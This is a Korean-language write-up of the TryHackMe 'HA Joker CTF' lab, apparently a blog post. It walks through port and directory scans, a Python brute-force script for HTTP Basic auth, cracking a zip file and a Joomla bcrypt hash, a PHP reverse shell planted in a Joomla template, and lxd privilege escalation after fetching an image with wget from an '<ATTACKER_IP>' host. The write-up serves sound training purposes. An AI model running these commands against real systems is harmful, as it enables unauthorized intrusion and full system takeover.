*https://tryhackme.com/r/room/jokerctf
HA Joker CTF
Batman hits Joker.
tryhackme.com
1.Port Scan Enumeration - Reconnaissance&Scanning
$ sudo nmap -n -sS -sV -O -Pn -p- --min-rate=10000 joker.thm
Host is up (0.19s latency).
Not shown: 63848 closed tcp ports (reset), 1684 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8080/tcp open http Apache httpd 2.4.29
-22(ssh), 80(http), 8080(http) 총 3가지 포트가 오픈되어 있습니다.
-80(http)의 경우 일반적인 페이지가 나오지만, 8080(http)의 경우 Basic Authentication이 적용되어 username과 비밀번호를 입력해야 했습니다.
*/etc/hosts 파일에 joker.thm 도메인과 IP 주소를 대응시켜 joker.thm에 접속하면 tryhackme에서 할당해준 서버 IP로 접속되도록 설정했습니다.
2.Directory Enumeration - Reconnaissance&Scanning
-메인 화면의 모습으로 특별한 기능이 보이지는 않습니다.
$ gobuster dir -u http://joker.thm -w /usr/share/wordlists/dirb/big.txt -t 140 -x .txt,.html,.php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://joker.thm
[+] Method: GET
[+] Threads: 140
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 274]
/.htaccess.txt (Status: 403) [Size: 274]
/.htaccess (Status: 403) [Size: 274]
/.htaccess.html (Status: 403) [Size: 274]
/.htpasswd.php (Status: 403) [Size: 274]
/.htpasswd.txt (Status: 403) [Size: 274]
/.htaccess.php (Status: 403) [Size: 274]
/.htpasswd.html (Status: 403) [Size: 274]
/css (Status: 301) [Size: 304] [--> http://joker.thm/css/]
/img (Status: 301) [Size: 304] [--> http://joker.thm/img/]
/index.html (Status: 200) [Size: 5954]
/phpinfo.php (Status: 200) [Size: 94745]
/secret.txt (Status: 200) [Size: 320]
/server-status (Status: 403) [Size: 274]
Progress: 81880 / 81884 (100.00%)
===============================================================
Finished
===============================================================
-joker.thm에 대한 Directory Enumeration 결과로, 'secret.txt', 'phpinfo.php' 파일이 존재함을 알 수 있었습니다.
#secret.txt
Batman hits Joker.
Joker: "Bats you may be a rock but you won't break me." (Laughs!)
Batman: "I will break you with this rock. You made a mistake now."
Joker: "This is one of your 100 poor jokes, when will you get a sense of humor bats! You are dumb as a rock."
Joker: "HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA!"
-'secret.txt'에 대한 내용으로, Joker와 Batman의 대화를 볼 수 있습니다.
-위 사진들은 8080 port의 http 페이지 접속 모습이며, username과 password 입력 값이 'username:password' 형식으로 변환 후 base64 인코딩되어 'Authorization' 헤더 값으로 삽입되는 것을 볼 수 있습니다.
-username과 password가 적절하지 않은 경우 401 응답이 반환됩니다.
3.Too many Brute Force - Gaining access
import requests as req
import sys
import base64
url = "http://joker.thm:8080"
if len(sys.argv) < 1:
print("python3 exploit.py <file_path>")
sys.exit(1)
file_path = sys.argv[1]
with open(file_path, "r", encoding="latin-1") as file:
parameters = file.read().splitlines()
name = "joker"
for para in parameters:
para = para.strip()
auth_string = name+":"+para
auth_string = auth_string.encode("ascii")
headers = {"Authorization" : "Basic " + (base64.b64encode(auth_string)).decode()}
ress = req.get(url=url, headers=headers)
if("401" not in ress.text):
print(f"Find Password: {auth_string}")
print()
print(ress.text)
-인증 원리를 바탕으로 Brute force 스크립트를 작성하였습니다.
-username을 나타내는 변수 'name'의 값이 'joker'인 이유는 tryhackme 질문에 대한 응답을 힌트로 생각해 username을 'joker'로 가정하고 brute force를 시도했습니다.
[Brute force]
$ python3 brute_base64.py /usr/share/wordlists/rockyou.txt
Find Password: b'joker:h----h'
-brute force 결과로 비밀번호를 찾았습니다.
-인증 후 8080포트로 연결되는 페이지는 PHP 기반 오픈 소스 저작물 관리 시스템 Joomla입니다.
$ ffuf -u http://joker.thm:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt -H "Authorization: Basic {insert_correct_base64_auhorization_value}" -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
..
administrator [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 261ms]
backup [Status: 200, Size: 12133560, Words: 0, Lines: 0, Duration: 0ms]
..
web.config [Status: 200, Size: 1690, Words: 482, Lines: 32, Duration: 331ms]
:: Progress: [4614/4614] :: Job [1/1] :: 320 req/sec :: Duration: [0:00:13] :: Errors: 0 :
-ffuf를 이용한 joker.thm:8080 Directory Enumeration 결과인데, 'administrator', 'backup' 페이지가 존재하는 것을 알 수 있었습니다.
-'administrator' 페이지에는 위 사진과 같이 Joomla 관리자 로그인 페이지로 연결됩니다.
-Username과 Password에 대한 정보가 아무것도 없어 8080 포트 접속 당시 사용했던 joker:h----h로 credential stuffing을 시도했지만 실패했습니다.
$ unzip backup.zip
Archive: backup.zip
creating: db/
[backup.zip] db/joomladb.sql password:
-'backup' 페이지에 접속 시 'backup.zip' 파일을 다운로드하며, 해당 파일 압축을 해제하려 할 시 비밀번호를 요구하는 것을 볼 수 있습니다.
$ /usr/sbin/zip2john backup.zip > zip.hash
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 10 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
h-----h (backup.zip)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
-zip2john 도구를 통해 zip 파일을 해시로 변환하고 john the ripper로 Brute force를 진행하면 8080 포트 접속 시 사용했던 password와 같은 값이 zip 파일의 비밀번호임을 알 수 있습니다.
$ cat db.sql | grep -i "Super Duper User" -C 5
#db.sql
..
INSERT INTO `cc1gr_users` VALUES (547,'Super Duper User','admin','admin@example.com','$2y$------------------.---------------------------G',0,1,'2019-10-08 12:00:15','2019-10-25 15:20:02','0','{\"admin_style\":\"\",\"admin_language\":\"\",\"language\":\"\",\"editor\":\"\",\"helpsite\":\"\",\"timezone\":\"\"}','0000-00-00 00:00:00',0,'','',0);
..
-backup.zip 파일을 압축 해제하여 얻은 db.sql 파일을 얻을 수 있는데 데이터의 양이 굉장히 많습니다. 다행히 tryhackme 질문에서 "Super duper user" 라는 단어를 강조하고 있으므로 해당 단어를 찾아보면 admin이란 이용자의 bcrypt 해시화 비밀번호를 얻을 수 있습니다.
$ hashcat -m 3200 pass.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
...
$2y$10$---------------------.-------------------------------:realpasswd
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$---------------------.-----------------...-------
-hashcat을 통해 bcrypt 옵션인 -m 3200과 해시를 저장한 pass.hash 파일을 인자로 하여 Brute force를 진행하면, 마침내 Joomla 관리자 페이지로 접속할 수 있는 비밀번호를 얻을 수 있습니다.
4.upload php reverse shell to Joomla - Gaining access
-Joomla 관리자 페이지에 접속 후 admin 계정 정보를 입력하여 패널에 접속 후 "Extensions > Templates > Templates" 페이지로 접속합니다.
-'Templates' 페이지로 접속했다면, 'index.php', 'error.php' 등의 편집 페이지로 접속합니다.
-해당 소스코드를 php reverse shell 파일로 덮어쓰기하고, 4444번 포트를 열어준 후, 위 메뉴의 "Template Preview" 버튼을 눌러 reverse shell을 업로드한 페이지에 접속합니다.
*php reverse shell file: https://github.com/pentestmonkey/php-reverse-shell
GitHub - pentestmonkey/php-reverse-shell
Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.
github.com
$ nc -nvlp 4444
..
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
-4444번 포트를 오픈한 터미널을 보면 reverse shell이 연결된 것을 볼 수 있습니다.
5.www-data -> root - Privilege Escalation
-www-data 이용자는 lxd 그룹에 속해있는 것을 확인할 수 있었습니다.
-lxd는 리눅스 기반의 시스템에서 컨테이너를 관리하고 운영하는 데 사용되는 오픈소스 시스템으로 전체적인 시스템을 가상화할 수 있습니다. Docker처럼 높은 권한의 특정 디렉터리를 마운트하여 접근이 가능한 취약점이 있습니다.
*lxd privilege escalation: https://www.hackingarticles.in/lxd-privilege-escalation/
Lxd Privilege Escalation - Hacking Articles
In this post we are going to describes how an account on the system that is a member of the lxd group is able to
www.hackingarticles.in
#Attack server
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ sudo ./build-alpine
$ python3 -m http.server
-linux container를 준비하기 위해 공격자 서버에서 git repository를 통해 lxd-alpine-builder를 다운받은 후, alpine image를 빌드합니다.
#www-data
$ cd /tmp
$ wget <ATTACKER_IP>:8000/<CONTAINER_NAME>.tar.gz
-다시 www-data로 돌아와서 권한 제한을 받지 않기 위해 /tmp로 이동 후 빌드한 alpine image를 wget으로 가져옵니다.
-이때 컨테이너 이름은 'alpine-v3.13-x86_64-20210218_0139'와 같은 형태를 띄고 있을 것입니다.
#www-data
$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
$ lxc init myimage ignite -c security.privileged=true
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
$ lxc start ignite
$ lxc exec ignite /bin/sh
whoami; id
root
uid=0(root) gid=0(root)
- alpine image를 import하고 별칭을 'myimage'로 설정
- alpine image인 'myimage'를 바탕으로 'ignite'라는 컨테이너를 생성
- 현재 서버 시스템의 '/' 파일 경로를 ignite 컨테이너의 '/mnt/root' 경로로 마운트
- ignite 컨테이너를 실행 후 /bin/sh로 접근
- root 권한 획득
*www-data 이용자가 있는 '/root' 디렉터리로 접근하기 위해서는, ignite 컨테이너에서 '/mnt/root/root'로 접근해야 합니다.
cd /mnt/root/root
ls -al
total 40
drwx------ 5 root root 4096 Oct 25 2019 .
drwxr-xr-x 22 root root 4096 Oct 22 2019 ..
-rw------- 1 root root 40 Oct 25 2019 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Oct 22 2019 .cache
drwxr-x--- 3 root root 4096 Oct 24 2019 .config
drwxr-xr-x 3 root root 4096 Oct 8 2019 .local
-rw------- 1 root root 33 Oct 24 2019 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 1003 Oct 8 2019 -----.txt
cat -----.txt
██╗ ██████╗ ██╗ ██╗███████╗██████╗
██║██╔═══██╗██║ ██╔╝██╔════╝██╔══██╗
██║██║ ██║█████╔╝ █████╗ ██████╔╝
██ ██║██║ ██║██╔═██╗ ██╔══╝ ██╔══██╗
╚█████╔╝╚██████╔╝██║ ██╗███████╗██║ ██║
╚════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
!! Congrats you have finished this task !!
Contact us here:
Hacking Articles : https://twitter.com/rajchandel/
Aarti Singh: https://in.linkedin.com/in/aarti-singh-353698114
+-+-+-+-+-+ +-+-+-+-+-+-+-+
|E|n|j|o|y| |H|A|C|K|I|N|G|
+-+-+-+-+-+ +-+-+-+-+-+-+-+
-root 권한 획득 및 '/' 디렉터리 마운트를 완료했으므로 '/mnt/root/root'로 접근 시, 실제 서버의 '/root' 디렉터리 파일 구조를 볼 수 있습니다.
'write-up > penetration test' 카테고리의 다른 글
[wargame - pen]Cheese CTF (0) | 2024.10.29 |
---|---|
[wargame - pen]Pyrat (0) | 2024.10.18 |
[pen]Wekor (4) | 2024.10.05 |
[pen]U.A.Highschool (2) | 2024.09.13 |
Tokyo Ghoul (0) | 2024.06.29 |